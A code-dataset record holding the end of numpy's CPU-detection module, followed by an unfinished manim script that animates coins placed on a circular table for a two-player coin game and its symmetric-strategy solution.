def _is_ultra250(self):\n return re.match(r'.*Ultra-250', self.info['uname_i']) is not None\n def _is_ultra2(self):\n return re.match(r'.*Ultra-2', self.info['uname_i']) is not None\n def _is_ultra30(self):\n return re.match(r'.*Ultra-30', self.info['uname_i']) is not None\n def _is_ultra4(self):\n return re.match(r'.*Ultra-4', self.info['uname_i']) is not None\n def _is_ultra5_10(self):\n return re.match(r'.*Ultra-5_10', self.info['uname_i']) is not None\n def _is_ultra5(self):\n return re.match(r'.*Ultra-5', self.info['uname_i']) is not None\n def _is_ultra60(self):\n return re.match(r'.*Ultra-60', self.info['uname_i']) is not None\n def _is_ultra80(self):\n return re.match(r'.*Ultra-80', self.info['uname_i']) is not None\n def _is_ultraenterprice(self):\n return re.match(r'.*Ultra-Enterprise', self.info['uname_i']) is not None\n def _is_ultraenterprice10k(self):\n return re.match(r'.*Ultra-Enterprise-10000', self.info['uname_i']) is not None\n def _is_sunfire(self):\n return re.match(r'.*Sun-Fire', self.info['uname_i']) is not None\n def _is_ultra(self):\n return re.match(r'.*Ultra', self.info['uname_i']) is not None\n\n def _is_cpusparcv7(self):\n return self.info['processor']=='sparcv7'\n def _is_cpusparcv8(self):\n return self.info['processor']=='sparcv8'\n def _is_cpusparcv9(self):\n return self.info['processor']=='sparcv9'\n\nclass Win32CPUInfo(CPUInfoBase):\n\n info = None\n pkey = r\"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\"\n # XXX: what does the value of\n # HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\n # mean?\n\n def __init__(self):\n if self.info is not None:\n return\n info = []\n try:\n #XXX: Bad style to use so long `try:...except:...`. Fix it!\n if sys.version_info[0] >= 3:\n import winreg\n else:\n import _winreg as winreg\n\n prgx = re.compile(r\"family\\s+(?P<FML>\\d+)\\s+model\\s+(?P<MDL>\\d+)\"\\\n \"\\s+stepping\\s+(?P<STP>\\d+)\", re.IGNORECASE)\n chnd=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, self.pkey)\n pnum=0\n while True:\n try:\n proc=winreg.EnumKey(chnd, pnum)\n except winreg.error:\n break\n else:\n pnum+=1\n info.append({\"Processor\":proc})\n phnd=winreg.OpenKey(chnd, proc)\n pidx=0\n while True:\n try:\n name, value, vtpe=winreg.EnumValue(phnd, pidx)\n except winreg.error:\n break\n else:\n pidx=pidx+1\n info[-1][name]=value\n if name==\"Identifier\":\n srch=prgx.search(value)\n if srch:\n info[-1][\"Family\"]=int(srch.group(\"FML\"))\n info[-1][\"Model\"]=int(srch.group(\"MDL\"))\n info[-1][\"Stepping\"]=int(srch.group(\"STP\"))\n except:\n print(sys.exc_info()[1], '(ignoring)')\n self.__class__.info = info\n\n def _not_impl(self): pass\n\n # Athlon\n\n def _is_AMD(self):\n return self.info[0]['VendorIdentifier']=='AuthenticAMD'\n\n def _is_Am486(self):\n return self.is_AMD() and self.info[0]['Family']==4\n\n def _is_Am5x86(self):\n return self.is_AMD() and self.info[0]['Family']==4\n\n def _is_AMDK5(self):\n return self.is_AMD() and self.info[0]['Family']==5 \\\n and self.info[0]['Model'] in [0, 1, 2, 3]\n\n def _is_AMDK6(self):\n return self.is_AMD() and self.info[0]['Family']==5 \\\n and self.info[0]['Model'] in [6, 7]\n\n def _is_AMDK6_2(self):\n return self.is_AMD() and self.info[0]['Family']==5 \\\n and self.info[0]['Model']==8\n\n def _is_AMDK6_3(self):\n return self.is_AMD() and self.info[0]['Family']==5 \\\n and self.info[0]['Model']==9\n\n def _is_AMDK7(self):\n return self.is_AMD() and self.info[0]['Family'] == 6\n\n # To reliably distinguish between the different types of AMD64 chips\n # (Athlon64, Operton, Athlon64 X2, Semperon, Turion 64, etc.) would\n # require looking at the 'brand' from cpuid\n\n def _is_AMD64(self):\n return self.is_AMD() and self.info[0]['Family'] == 15\n\n # Intel\n\n def _is_Intel(self):\n return self.info[0]['VendorIdentifier']=='GenuineIntel'\n\n def _is_i386(self):\n return self.info[0]['Family']==3\n\n def _is_i486(self):\n return self.info[0]['Family']==4\n\n def _is_i586(self):\n return self.is_Intel() and self.info[0]['Family']==5\n\n def _is_i686(self):\n return self.is_Intel() and self.info[0]['Family']==6\n\n def _is_Pentium(self):\n return self.is_Intel() and self.info[0]['Family']==5\n\n def _is_PentiumMMX(self):\n return self.is_Intel() and self.info[0]['Family']==5 \\\n and self.info[0]['Model']==4\n\n def _is_PentiumPro(self):\n return self.is_Intel() and self.info[0]['Family']==6 \\\n and self.info[0]['Model']==1\n\n def _is_PentiumII(self):\n return self.is_Intel() and self.info[0]['Family']==6 \\\n and self.info[0]['Model'] in [3, 5, 6]\n\n def _is_PentiumIII(self):\n return self.is_Intel() and self.info[0]['Family']==6 \\\n and self.info[0]['Model'] in [7, 8, 9, 10, 11]\n\n def _is_PentiumIV(self):\n return self.is_Intel() and self.info[0]['Family']==15\n\n def _is_PentiumM(self):\n return self.is_Intel() and self.info[0]['Family'] == 6 \\\n and self.info[0]['Model'] in [9, 13, 14]\n\n def _is_Core2(self):\n return self.is_Intel() and self.info[0]['Family'] == 6 \\\n and self.info[0]['Model'] in [15, 16, 17]\n\n # Varia\n\n def _is_singleCPU(self):\n return len(self.info) == 1\n\n def _getNCPUs(self):\n return len(self.info)\n\n def _has_mmx(self):\n if self.is_Intel():\n return (self.info[0]['Family']==5 and self.info[0]['Model']==4) \\\n or (self.info[0]['Family'] in [6, 15])\n elif self.is_AMD():\n return self.info[0]['Family'] in [5, 6, 15]\n else:\n return False\n\n def _has_sse(self):\n if self.is_Intel():\n return (self.info[0]['Family']==6 and \\\n self.info[0]['Model'] in [7, 8, 9, 10, 11]) \\\n or self.info[0]['Family']==15\n elif self.is_AMD():\n return (self.info[0]['Family']==6 and \\\n self.info[0]['Model'] in [6, 7, 8, 10]) \\\n or self.info[0]['Family']==15\n else:\n return False\n\n def _has_sse2(self):\n if self.is_Intel():\n return self.is_Pentium4() or self.is_PentiumM() \\\n or self.is_Core2()\n elif self.is_AMD():\n return self.is_AMD64()\n else:\n return False\n\n def _has_3dnow(self):\n return self.is_AMD() and self.info[0]['Family'] in [5, 6, 15]\n\n def _has_3dnowext(self):\n return self.is_AMD() and self.info[0]['Family'] in [6, 15]\n\nif sys.platform.startswith('linux'): # variations: linux2,linux-i386 (any others?)\n cpuinfo = LinuxCPUInfo\nelif sys.platform.startswith('irix'):\n cpuinfo = IRIXCPUInfo\nelif sys.platform == 'darwin':\n cpuinfo = DarwinCPUInfo\nelif sys.platform.startswith('sunos'):\n cpuinfo = SunOSCPUInfo\nelif sys.platform.startswith('win32'):\n cpuinfo = Win32CPUInfo\nelif sys.platform.startswith('cygwin'):\n cpuinfo = LinuxCPUInfo\n#XXX: other OS's. Eg. use _winreg on Win32. Or os.uname on unices.\nelse:\n cpuinfo = CPUInfoBase\n\ncpu = cpuinfo()\n\n#if __name__ == \"__main__\":\n#\n# cpu.is_blaa()\n# cpu.is_Intel()\n# cpu.is_Alpha()\n#\n# print 'CPU information:',\n# for name in dir(cpuinfo):\n# if name[0]=='_' and name[1]!='_':\n# r = getattr(cpu,name[1:])()\n# if r:\n# if r!=1:\n# print '%s=%s' %(name[1:],r),\n# else:\n# print name[1:],\n# print\n" ]
[ [ "numpy.distutils.compat.get_exception" ] ]
Parnidadu/manim-1
[ "3287c5d7d4482e5e168941ced042794b7d7e046e" ]
[ "game_of_coins.py" ]
[ "import random\nfrom manimlib.imports import *\nfrom manimlib.mobject.three_dimensions import Cube, Prism\nfrom manimlib.mobject.types.vectorized_mobject import VMobject\nfrom math import sqrt\n\n\n\nclass Coin(VGroup):\n CONFIG = {\n \"fill_opacity\": 0.45,\n \"fill_color\": YELLOW_D,\n \"stroke_width\": 0.7,\n \"side_length\": 2,\n }\n def generate_points(self):\n for ln in np.arange(0, 0.5, 0.1):\n face = Circle(\n radius=1,\n shade_in_3d=True,\n color = YELLOW_D,\n )\n face.flip()\n face.shift( ln*OUT / 2.0)\n face.apply_matrix(z_to_vector(OUT))\n self.add(face)\n\nclass Ellipsoid(ParametricSurface):\n CONFIG = {\n \"resolution\": (12, 24),\n \"radius\": 1,\n \"u_min\": 0.001,\n \"u_max\": PI - 0.001,\n \"v_min\": 0,\n \"v_max\": TAU,\n \"fill_color\": RED_C,\n }\n\n def __init__(self, **kwargs):\n ParametricSurface.__init__(\n self, self.func, **kwargs\n )\n self.scale(self.radius)\n\n def func(self, u, v):\n return np.array([\n np.cos(u),\n 0.6*np.cos(v) * np.sin(u),\n 0.6*np.sin(v) * np.sin(u),\n ])\n\nclass RocketBody(ParametricSurface):\n CONFIG = {\n \"resolution\": (12, 24),\n \"radius\": 1,\n \"u_min\": 0.01,\n \"u_max\": PI,\n \"v_min\": 0,\n \"v_max\": TAU,\n \"height\":2,\n }\n\n def __init__(self, **kwargs):\n ParametricSurface.__init__(\n self, self.func, **kwargs\n )\n self.scale(self.radius)\n\n def func(self, u, v):\n # print(\"TAU\", TAU)\n \n if(u<PI/2):\n return np.array([\n 0.6*np.cos(v) * np.sin(u),\n 0.6*np.sin(v) * np.sin(u),\n np.cos(u),\n ])\n \n else:\n return np.array([\n 0.6*np.cos(v) * np.sin(u),\n 0.6*np.sin(v) * np.sin(u),\n 1.5*np.cos(u),\n ])\n\nclass RocketBase(ParametricSurface):\n CONFIG = {\n \"resolution\": (12, 24),\n \"radius\": 1,\n \"u_min\": (PI/2)-0.5,\n \"u_max\": PI/2+0.2,\n \"v_min\": 0,\n \"v_max\": TAU,\n \"fill_opacity\": 0.9,\n \"fill_color\": BLUE_D,\n \n }\n\n def __init__(self, **kwargs):\n ParametricSurface.__init__(\n self, self.func, **kwargs\n )\n self.scale(self.radius)\n\n def func(self, u, v):\n # print(\"TAU\", TAU)\n if(u<PI/2):\n return np.array([\n 0.8*np.cos(v) * np.sin(u),\n 0.8*np.sin(v) * np.sin(u),\n np.cos(u),\n ])\n elif(u>(PI/2-0.1)):\n return np.array([\n 0.8*np.cos(v) * np.sin(u),\n 0.8*np.sin(v) * np.sin(u),\n 0.1*np.cos(u),\n ])\n else:\n return np.array([\n 0.8*np.cos(v) * np.sin(u),\n 0.8*np.sin(v) * np.sin(u),\n *np.cos(u),\n ])\n'''\nclass CuemathRocket(VGroup):\n CONFIG = {\n \"fill_opacity\": 0.9,\n \"fill_color\": BLUE_D,\n \"stroke_width\": 0,\n \"label\": \"A\",\n }\n def generate_points(self):\n body2 = RocketBody()\n body2.flip()\n body2.scale(1)\n self.add(body2)\n\n'''\nclass Observer(VGroup):\n CONFIG = {\n \"fill_opacity\": 0.45,\n \"fill_color\": BLUE_D,\n \"stroke_width\": 0,\n \"side_length\": 2,\n \"label\": \"A\",\n }\n def generate_points(self):\n face = Sphere(\n radius=1,\n shade_in_3d=True,\n color = PURPLE_E,\n )\n face.flip()\n face.scale(0.5)\n face.shift(1.5*LEFT)\n body = Ellipsoid()\n body.flip()\n body.scale(1)\n body.add(face)\n hand1 = Ellipsoid()\n hand1.scale(0.3)\n hand1.shift(-0.8*RIGHT+0.6*UP)\n #hand1.apply_matrix(np.matrix([[1.0, 0, 0.0], [0, 1.0, 0.0], [0.0, 1.0, 0.6]])*np.cos(PI/3))\n body.add(hand1)\n hand2 = Ellipsoid()\n hand2.scale(0.3)\n hand2.shift(-0.8*RIGHT-0.6*UP)\n #hand2.apply_matrix(np.matrix([[0.0, 0, 1.0], [0, 1.0, 0.0], [0.0, 1.0, 0.6]])*np.sin(PI/6))\n body.add(hand2)\n body.apply_matrix(z_to_vector(TOP))\n self.add(body)\n\n\nclass TestScene2(ThreeDScene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0.5*RIGHT-1.5*UP,\n }\n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n self.set_camera_orientation(0.1, -np.pi/2)\n self.move_camera(0.8*np.pi/2, -0.45*np.pi) \n # rocket = CuemathRocket()\n base = RocketBase()\n # base.shift(LEFT)\n # rocket.add(base)\n self.play(ShowCreation(base))\n self.wait(1)\n self.move_camera(-0.8*np.pi/2, -0.45*np.pi) \n self.wait(2)\n\n#this is test class for first scene \nclass rule(ThreeDScene):\n CONFIG = {\n \"color\" : RED_B,\n \"fill_color\" : RED_B\n }\n \n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n # self.set_camera_orientation(0.1, -np.pi/2)\n table = Circle(color=RED_B, fill_color = RED_B )\n table.scale(3.80)\n \n obs = Observer()\n obs.shift( UP + 2* TOP - 0.5*LEFT )\n obs2 = Observer(fill_color = YELLOW_D)\n obs2.shift( DOWN + 2*BOTTOM - 0.5*LEFT )\n obs_label=TextMobject(\"A\")\n obs_label.next_to(obs, LEFT)\n self.add(obs)\n self.add(obs2) \n self.add(table)\n for i in range(1,4):\n if i%2==0:\n self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n \n else: \n self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n #point_list = self.get_pts_on_tables\n self.move_camera(0.1, -np.pi/2)\n\n\nclass endtest(ThreeDScene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0.5*RIGHT-1.5*UP,\n }\n import math\n\n '''def rotate_via_numpy(self, xy, radians):\n \"\"\"Use numpy to build a rotation matrix and take the dot product.\"\"\"\n x, y = xy\n c, s = np.cos(radians), np.sin(radians)\n j = np.matrix([[c, s], [-s, c]])\n m = np.dot(j, [x, y])\n\n return float(m.T[0]), float(m.T[1])'''\n def translate_D(self, old_pt,vec, mag):\n pt = old_pt + mag*vec\n return pt\n\n def calculate_D(self,D,angle):\n qx = D*math.cos(angle);\n qy = D*math.sin(angle);\n return (qx, qy, 0)\n def get_ordered_list(self,points):\n points.sort(key = lambda p: sqrt((p[0] )**2 + (p[1])**2))\n return points\n\n def get_pts_on_table(self):\n r = 0.25\n R = 3.80\n n_l = math.floor((1/2)*((R/r)+1))\n origin = np.array([0, 0, 0])\n list_pts = []\n old_vec = np.matrix([[1, 0, 0]])\n for layer in range(1, n_l):\n last_pt = np.array(self.translate_D(origin, old_vec , layer*2*r))\n # old_theta = 0\n theta = 2*np.pi/3 \n for k in range(1, 7):\n rotation_matr = np.matrix([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0], \n [0, 0, 1],\n ])\n new_vec = np.dot(old_vec, rotation_matr)\n theta = np.pi/3\n # print(theta, old_vec, new_vec)\n for i in range(layer):\n pt_to_append = list(last_pt[0])\n #print(pt_to_append)\n list_pts.append(pt_to_append)\n pt = np.array(self.translate_D(last_pt, new_vec, 2*r))\n last_pt = pt\n old_vec = new_vec\n # print(list_pts)\n new_D = (n_l-1)*2*r \n theta_new = np.pi/6;\n change = np.pi/3\n for i in range(1,7):\n list_pts.append(self.calculate_D(new_D,theta_new))\n theta_new = theta_new+change\n origin_l = [0,0,0]\n list_pts.append(origin_l) \n return(self.get_ordered_list(list_pts))\n \n \n\n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n # self.set_camera_orientation(0.1, -np.pi/2)\n table = Circle(color=RED_B, fill_color = RED_B )\n table.scale(3.80)\n #my_first_text=TextMobject(\"Writing with manim is fun\")\n #second_line=TextMobject(\"and easy to do!\")\n #second_line.next_to(my_first_text,DOWN)\n #third_line=TextMobject(\"for me and you!\")\n #third_line.next_to(my_first_text,DOWN)\n obs = Observer()\n #print(\"values of direction\",UP ,TOP ,LEFT)\n #print(\"hellworld\", UP + 1.5* TOP - 0.5*LEFT)\n obs.shift( UP + 2* TOP - 0.5*LEFT )\n obs2 = Observer(fill_color = YELLOW_D)\n obs2.shift( DOWN + 2*BOTTOM - 0.5*LEFT )\n obs_label=TextMobject(\"A\")\n obs_label.next_to(obs, LEFT)\n \n self.add(obs)\n self.add(obs2) \n self.add(table)\n #point_list = self.get_pts_on_tables\n point_list = self.get_pts_on_table()\n #random.shuffle(point_list)\n reversed(point_list)\n '''for idx, point in enumerate(point_list[]):\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n total_vect=point\n print(\"total_vect\", total_vect)\n coin.shift(total_vect)\n self.play(GrowFromCenter(coin));''' \n self.wait(2)\n self.remove(obs)\n self.move_camera(0.1, -np.pi/2)\n for idx, i in enumerate(point_list[::-1]):\n print(\"Loop2\", i)\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n #self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n #self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n coin.shift(i);\n self.play(GrowFromCenter(coin));\n #self.add(my_first_text, second_line)\n self.wait(2)\n self.wait(2)\n #self.play(Transform(second_line,third_line))\n \n\nclass TestScene(ThreeDScene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0.5*RIGHT-1.5*UP,\n }\n import math\n\n '''def rotate_via_numpy(self, xy, radians):\n \"\"\"Use numpy to build a rotation matrix and take the dot product.\"\"\"\n x, y = xy\n c, s = np.cos(radians), np.sin(radians)\n j = np.matrix([[c, s], [-s, c]])\n m = np.dot(j, [x, y])\n\n return float(m.T[0]), float(m.T[1])'''\n def translate_D(self, old_pt,vec, mag):\n pt = old_pt + mag*vec\n return pt\n\n def calculate_D(self,D,angle):\n qx = D*math.cos(angle);\n qy = D*math.sin(angle);\n return (qx, qy, 0)\n def get_ordered_list(self,points):\n points.sort(key = lambda p: sqrt((p[0] )**2 + (p[1])**2))\n return points\n\n def get_pts_on_table(self):\n r = 0.25\n R = 3.80\n n_l = math.floor((1/2)*((R/r)+1))\n origin = np.array([0, 0, 0])\n list_pts = []\n old_vec = np.matrix([[1, 0, 0]])\n for layer in range(1, n_l):\n last_pt = np.array(self.translate_D(origin, old_vec , layer*2*r))\n # old_theta = 0\n theta = 2*np.pi/3 \n for k in range(1, 7):\n rotation_matr = np.matrix([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0], \n [0, 0, 1],\n ])\n new_vec = np.dot(old_vec, rotation_matr)\n #print(\"new_vec\", new_vec)\n theta = np.pi/3\n # print(theta, old_vec, new_vec)\n for i in range(layer):\n pt_to_append = list(last_pt[0])\n #print(pt_to_append)\n list_pts.append(pt_to_append)\n pt = np.array(self.translate_D(last_pt, new_vec, 2*r))\n last_pt = pt\n old_vec = new_vec\n # print(list_pts)\n new_D = (n_l-1)*2*r \n theta_new = np.pi/6;\n change = np.pi/3\n for i in range(1,7):\n list_pts.append(self.calculate_D(new_D,theta_new))\n theta_new = theta_new+change\n origin_l = [0,0,0]\n list_pts.append(origin_l) \n return(self.get_ordered_list(list_pts))\n \n \n\n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n # self.set_camera_orientation(0.1, -np.pi/2)\n table = Circle(color=RED_B, fill_color = RED_B )\n table.scale(3.80)\n '''my_first_text=TextMobject(\"Writing with manim is fun\")\n second_line=TextMobject(\"and easy to do!\")\n second_line.next_to(my_first_text,DOWN)\n third_line=TextMobject(\"for me and you!\")\n third_line.next_to(my_first_text,DOWN)'''\n obs = Observer()\n #print(\"values of direction\",UP ,TOP ,LEFT)\n #print(\"hellworld\", UP + 1.5* TOP - 0.5*LEFT)\n obs.shift( UP + 2* TOP - 0.5*LEFT )\n obs2 = Observer(fill_color = YELLOW_D)\n obs2.shift( DOWN + 2*BOTTOM - 0.5*LEFT )\n obs_label=TextMobject(\"A\")\n obs_label.next_to(obs, LEFT)\n \n self.add(obs)\n self.add(obs2) \n self.add(table)\n #point_list = self.get_pts_on_tables\n point_list = self.get_pts_on_table()\n #random.shuffle(point_list)\n '''for idx, point in enumerate(point_list[:8]):\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n total_vect=point\n #print(\"total_vect\", total_vect)\n coin.shift(total_vect)\n self.play(GrowFromCenter(coin)); ''' \n self.wait(2)\n self.remove(obs)\n self.move_camera(0.1, -np.pi/2)\n for idx, i in enumerate(point_list[:]):\n print(\"Loop2\", i)\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n #self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n #self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n coin.shift(i);\n self.play(GrowFromCenter(coin));\n #self.add(my_first_text, second_line)\n self.wait(2)\n #self.play(Transform(second_line,third_line))\n #self.wait(2)\n #second_line.shift(3*DOWN)\n #self.play(ApplyMethod(my_first_text.shift,3*UP))\n\nclass rules(ThreeDScene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0.5*RIGHT-1.5*UP,\n }\n import math\n\n '''def rotate_via_numpy(self, xy, radians):\n \"\"\"Use numpy to build a rotation matrix and take the dot product.\"\"\"\n x, y = xy\n c, s = np.cos(radians), np.sin(radians)\n j = np.matrix([[c, s], [-s, c]])\n m = np.dot(j, [x, y])\n\n return float(m.T[0]), float(m.T[1])'''\n def translate_D(self, old_pt,vec, mag):\n pt = old_pt + mag*vec\n return pt\n\n def calculate_D(self,D,angle):\n qx = D*math.cos(angle);\n qy = D*math.sin(angle);\n return (qx, qy, 0)\n def get_ordered_list(self,points):\n points.sort(key = lambda p: sqrt((p[0] )**2 + (p[1])**2))\n return points\n\n def get_pts_on_table(self):\n r = 0.25\n R = 3.80\n n_l = math.floor((1/2)*((R/r)+1))\n origin = np.array([0, 0, 0])\n list_pts = []\n old_vec = np.matrix([[1, 0, 0]])\n for layer in range(1, n_l):\n last_pt = np.array(self.translate_D(origin, old_vec , layer*2*r))\n # old_theta = 0\n theta = 2*np.pi/3 \n for k in range(1, 7):\n rotation_matr = np.matrix([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0], \n [0, 0, 1],\n ])\n new_vec = np.dot(old_vec, rotation_matr)\n #print(\"new_vec\", new_vec)\n theta = np.pi/3\n # print(theta, old_vec, new_vec)\n for i in range(layer):\n pt_to_append = list(last_pt[0])\n #print(pt_to_append)\n list_pts.append(pt_to_append)\n pt = np.array(self.translate_D(last_pt, new_vec, 2*r))\n last_pt = pt\n old_vec = new_vec\n # print(list_pts)\n new_D = (n_l-1)*2*r \n theta_new = np.pi/6;\n change = np.pi/3\n for i in range(1,7):\n list_pts.append(self.calculate_D(new_D,theta_new))\n theta_new = theta_new+change\n origin_l = [0,0,0]\n list_pts.append(origin_l) \n return(self.get_ordered_list(list_pts))\n \n \n\n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n # self.set_camera_orientation(0.1, -np.pi/2)\n table = Circle(color=RED_B, fill_color = RED_B )\n table.scale(3.80)\n '''my_first_text=TextMobject(\"Writing with manim is fun\")\n second_line=TextMobject(\"and easy to do!\")\n second_line.next_to(my_first_text,DOWN)\n third_line=TextMobject(\"for me and you!\")\n third_line.next_to(my_first_text,DOWN)'''\n obs = Observer()\n #print(\"values of direction\",UP ,TOP ,LEFT)\n #print(\"hellworld\", UP + 1.5* TOP - 0.5*LEFT)\n obs.shift( UP + 2* TOP - 0.5*LEFT )\n obs2 = Observer(fill_color = YELLOW_D)\n obs2.shift( DOWN + 2*BOTTOM - 0.5*LEFT )\n obs_label=TextMobject(\"A\")\n obs_label.next_to(obs, LEFT)\n \n self.add(obs)\n self.add(obs2) \n self.add(table)\n #point_list = self.get_pts_on_tables\n point_list = self.get_pts_on_table()\n random.shuffle(point_list)\n for idx, point in enumerate(point_list[:8]):\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n total_vect=point\n #print(\"total_vect\", total_vect)\n coin.shift(total_vect)\n self.play(GrowFromCenter(coin)); \n self.wait(2)\n self.remove(obs)\n self.move_camera(0.1, -np.pi/2)\n for idx, i in enumerate(point_list[8:]):\n print(\"Loop2\", i)\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n #self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n #self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n coin.shift(i);\n self.play(GrowFromCenter(coin));\n #self.add(my_first_text, second_line)\n self.wait(2)\n #self.play(Transform(second_line,third_line))\n #self.wait(2)\n #second_line.shift(3*DOWN)\n #self.play(ApplyMethod(my_first_text.shift,3*UP))\n \nclass solution(ThreeDScene):\n CONFIG = {\n \"plane_kwargs\" : {\n \"color\" : RED_B\n },\n \"point_charge_loc\" : 0.5*RIGHT-1.5*UP,\n }\n import math\n import numpy as np\n\n def rotate_via_numpy(self, xy, radians):\n \"\"\"Use numpy to build a rotation matrix and take the dot product.\"\"\"\n x, y, z = xy\n c, s = np.cos(radians), np.sin(radians)\n j = np.matrix([[c, s,0], [-s, c,0]])\n m = np.dot(j, [x, y,z])\n return float(m.T[0]), float(m.T[1]), 0\n\n def translate_D(self, old_pt,vec, mag):\n pt = old_pt + mag*vec\n return pt\n\n def calculate_D(self,D,angle):\n qx = D*math.cos(angle);\n qy = D*math.sin(angle);\n return (qx, qy, 0)\n def get_ordered_list(self,points):\n points.sort(key = lambda p: sqrt((p[0] )**2 + (p[1])**2))\n return points\n\n def get_pts_on_table(self):\n r = 0.25\n R = 3.80\n n_l = math.floor((1/2)*((R/r)+1))\n origin = np.array([0, 0, 0])\n list_pts = []\n origin_l = [0,0,0]\n # list_pts.append(origin_l) \n old_vec = np.matrix([[1, 0, 0]])\n for layer in range(1, n_l):\n last_pt = np.array(self.translate_D(origin, old_vec , layer*2*r))\n # old_theta = 0\n theta = 2*np.pi/3 \n for k in range(1, 7):\n rotation_matr = np.matrix([[np.cos(theta), -np.sin(theta), 0],\n [np.sin(theta), np.cos(theta), 0], \n [0, 0, 1],\n ])\n new_vec = np.dot(old_vec, rotation_matr)\n #print(\"new_vec\", new_vec)\n theta = np.pi/3\n # print(theta, old_vec, new_vec)\n for i in range(layer):\n pt_to_append = list(last_pt[0])\n #print(pt_to_append)\n list_pts.append(pt_to_append)\n pt = np.array(self.translate_D(last_pt, new_vec, 2*r))\n last_pt = pt\n old_vec = new_vec\n # print(list_pts)\n new_D = (n_l-1)*2*r \n theta_new = np.pi/6;\n change = np.pi/3\n for i in range(1,7):\n list_pts.append(self.calculate_D(new_D,theta_new))\n theta_new = theta_new+change\n return(self.get_ordered_list(list_pts))\n \n def get_pts_on_table2(self):\n lists_of_points = self.get_pts_on_table()\n print(len(lists_of_points))\n new_list = list()\n for i in lists_of_points:\n if (i[1]>=0):\n new_list.append(i)\n \n for i in lists_of_points:\n if(i[1]==0 and i[0]<=0):\n new_list.remove(i)\n random.shuffle(new_list)\n new_list2 = list()\n flag = 175\n for i in new_list:\n if(flag%3==0):\n new_list2.append(i) \n new_list2.append(self.rotate_via_numpy(i,PI))\n else:\n new_list2.append(self.rotate_via_numpy(i,PI))\n new_list2.append(i) \n flag-=1 \n print(len(new_list2)) \n return new_list2\n\n\n\n def construct(self):\n self.coin_size = 0.25\n # my_plane = NumberPlane(**self.plane_kwargs)\n # my_plane.add(my_plane.get_axis_labels())\n # self.add(my_plane)\n # self.set_camera_orientation(0.1, -np.pi/2)\n table = Circle(color=RED_B, fill_color = RED_B )\n table.scale(3.80)\n #my_first_text=TextMobject(\"Writing with manim is fun\")\n #second_line=TextMobject(\"and easy to do!\")\n #second_line.next_to(my_first_text,DOWN)\n #third_line=TextMobject(\"for me and you!\")\n #third_line.next_to(my_first_text,DOWN)\n obs = Observer()\n #print(\"values of direction\",UP ,TOP ,LEFT)\n #print(\"hellworld\", UP + 1.5* TOP - 0.5*LEFT)\n obs.shift( UP + 2* TOP - 0.5*LEFT )\n obs2 = Observer(fill_color = YELLOW_D)\n obs2.shift( DOWN + 2*BOTTOM - 0.5*LEFT )\n obs_label=TextMobject(\"A\")\n obs_label.next_to(obs, LEFT)\n \n self.add(obs)\n self.add(obs2) \n self.add(table)\n #point_list = self.get_pts_on_tables\n point_list = self.get_pts_on_table2()\n #random.shuffle(point_list)\n print(len(point_list))\n '''for idx, point in enumerate(point_list):\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n total_vect=point\n print(\"total_vect\", total_vect, idx)\n coin.shift(total_vect)\n self.play(GrowFromCenter(coin)); '''\n coin = Coin()\n origin1 = [0,0,0]\n coin.scale(self.coin_size)\n coin.shift(origin1)\n self.play(GrowFromCenter(coin)) \n#here this coin will generate from the center and it is yellow\n\n self.wait(2)\n self.remove(obs)\n self.move_camera(0.1, -np.pi/2)\n for idx, i in enumerate(point_list):\n 